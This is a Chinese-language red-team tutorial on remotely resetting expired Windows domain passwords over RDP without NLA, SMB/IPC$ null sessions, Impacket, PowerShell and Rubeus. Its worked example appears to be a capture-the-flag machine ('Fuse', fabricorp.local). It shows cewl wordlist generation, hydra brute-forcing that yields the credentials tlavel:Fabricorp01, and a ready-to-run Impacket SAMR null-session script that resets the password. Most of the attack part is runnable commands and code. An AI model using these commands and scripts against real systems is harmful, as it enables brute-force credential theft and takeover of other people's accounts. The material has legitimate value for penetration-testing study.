红队技巧-远程重置过期密码
字数 1465 2025-08-09 13:33:49
远程重置过期密码的红队技巧详解
前言
在红队行动中,经常会遇到获取了有效凭据但密码已过期的情况。本文详细介绍了多种远程重置过期密码的方法,涵盖了不同场景下的技术实现。
RDP远程桌面协议方法
前提条件
- 目标系统需要启用RDP且不强制使用网络级身份验证(NLA)
识别方法
-
Nessus扫描:
- 在扫描结果中查找:"终端服务不仅使用网络级身份验证(NLA)"
-
Nmap扫描:
nmap x.x.x.x -p 3389 --script rdp-enum-encryption- 关注输出中的"SSL: SUCCESS"字段
-
Metasploit模块:
use auxiliary/scanner/rdp/rdp_scanner set RHOSTS x.x.x.x run
实际操作
使用rdesktop连接:
rdesktop x.x.x.x
- 连接时不需要指定用户名或密码
- 需要信任证书(键入yes)
- 连接后可重置密码或返回其他命令行工具
SMB密码重置方法
smbpasswd工具
前提条件
- 需要匿名访问IPC$共享
- 默认情况下,任何人都可以通过IPC$匿名连接
执行命令
smbpasswd -r 10.0.0.15 -U 'expired'
-r: 远程主机IP-U: 用户名
工作原理
- 首先尝试使用该帐户进行身份验证
- 获取"密码已过期"消息
- 匿名连接到IPC$共享
- 在IPC$共享中执行密码重置
限制
- 如果IPC$不可访问(如限于NULL会话),此方法将失效
ChangePwd工具
特点
- 需要访问IPC$共享
- 不需要管理员权限
- 如果IPC\(不执行匿名连接,会使用当前登录的用户连接到IPC\)
Impacket的smbpasswd
特点
- 需要访问IPC$共享
- 非交互式实现
- 不需要知道原始明文密码,有散列值即可
下载地址
https://github.com/snovvcrash/impacket/blob/smbpasswd/examples/smbpasswd.py
问题记录
https://snovvcrash.rocks/2020/10/31/pretending-to-be-smbpasswd-with-impacket.html
实战案例
环境准备
- 目标域:fabricorp.local
- 获取的用户名:pmerton、tlavel、sthompson、bhult
操作步骤
-
生成密码字典:
cewl -d 5 -m 3 -w wordlist.txt http://fuse.fabricorp.local/papercut/logs/html/index.htm --with-numbers -
暴力破解:
hydra -L user.txt -P wordlist.txt http://fuse.fabricorp.local smb获取到凭证:
- tlavel:Fabricorp01
- bhult:Fabricorp01
-
尝试登录SMB共享:
smbclient -L 10.10.10.193 -U tlavel遇到错误:NT_STATUS_PASSWORD_MUST_CHANGE
-
使用smbpasswd重置密码:
smbpasswd -r 10.10.10.193 -U tlavel- 使用旧密码
- 新密码需满足复杂度要求
替代方案:Python脚本
#!/usr/bin/python3
from argparse import ArgumentParser
from impacket.dcerpc.v5 import transport, samr
def connect(host_name_or_ip):
rpctransport = transport.SMBTransport(host_name_or_ip, filename=r'\samr')
if hasattr(rpctransport, 'set_credentials'):
rpctransport.set_credentials(username='', password='', domain='', lmhash='', nthash='', aesKey='') # null session
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(samr.MSRPC_UUID_SAMR)
return dce
def hSamrUnicodeChangePasswordUser2(username, oldpass, newpass, target):
dce = connect(target)
resp = samr.hSamrUnicodeChangePasswordUser2(dce, '\x00', username, oldpass, newpass)
resp.dump()
parser = ArgumentParser()
parser.add_argument('username', help='username to change password for')
parser.add_argument('oldpass', help='old password')
parser.add_argument('newpass', help='new password')
parser.add_argument('target', help='hostname or IP')
args = parser.parse_args()
hSamrUnicodeChangePasswordUser2(args.username, args.oldpass, args.newpass, args.target)
执行命令:
python3 setsmbpasswd.py tlavel Fabricorp01 'Aaaa001!' 10.10.10.193
其他方法
SetADAccountPwd
-
要求:
- Windows系统
- 安装RSAT工具
- 管理员权限
-
参考:
https://docs.microsoft.com/en-us/powershell/module/activedirectory/set-adaccountpassword?view=windowsserver2019-ps
PowerShell脚本
function Set-PasswordRemotely {
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)][string]$UserName,
[Parameter(Mandatory=$true)][string]$OldPassword,
[Parameter(Mandatory=$true)][string]$NewPassword,
[Parameter(Mandatory=$true)][alias('DC','Server','ComputerName')][string]$DomainController
)
$DllImport = @'
[DllImport("netapi32.dll", CharSet = CharSet.Unicode)]
public static extern bool NetUserChangePassword(string domain, string username, string oldpassword, string newpassword);
'@
$NetApi32 = Add-Type -MemberDefinition $DllImport -Name 'NetApi32' -Namespace 'Win32' -PassThru
if($result = $NetApi32::NetUserChangePassword($DomainController, $UserName, $OldPassword, $NewPassword)) {
Write-Output -InputObject 'Password change failed. Please try again.'
} else {
Write-Output -InputObject 'Password change succeeded.'
}
}
Rubeus工具
-
要求:
- Windows环境/需要绕过AV
- 当拥有用户或其哈希的票证时,不需要明文密码
-
原理:
- 使用旧密码获取票证
- 使用票证更改密码
-
参考:
http://www.harmj0y.net/blog/redteaming/rubeus-now-with-more-kekeo/
总结建议
- 在实战中,建议收集外网的登录接口,很可能其中一个系统的登录接口就能重置过期密码
- 不同方法适用于不同场景,需要根据目标环境选择合适的技术
- 密码重置后,新密码需满足目标系统的密码策略要求
- 保持工具和脚本的更新,以应对系统安全策略的变化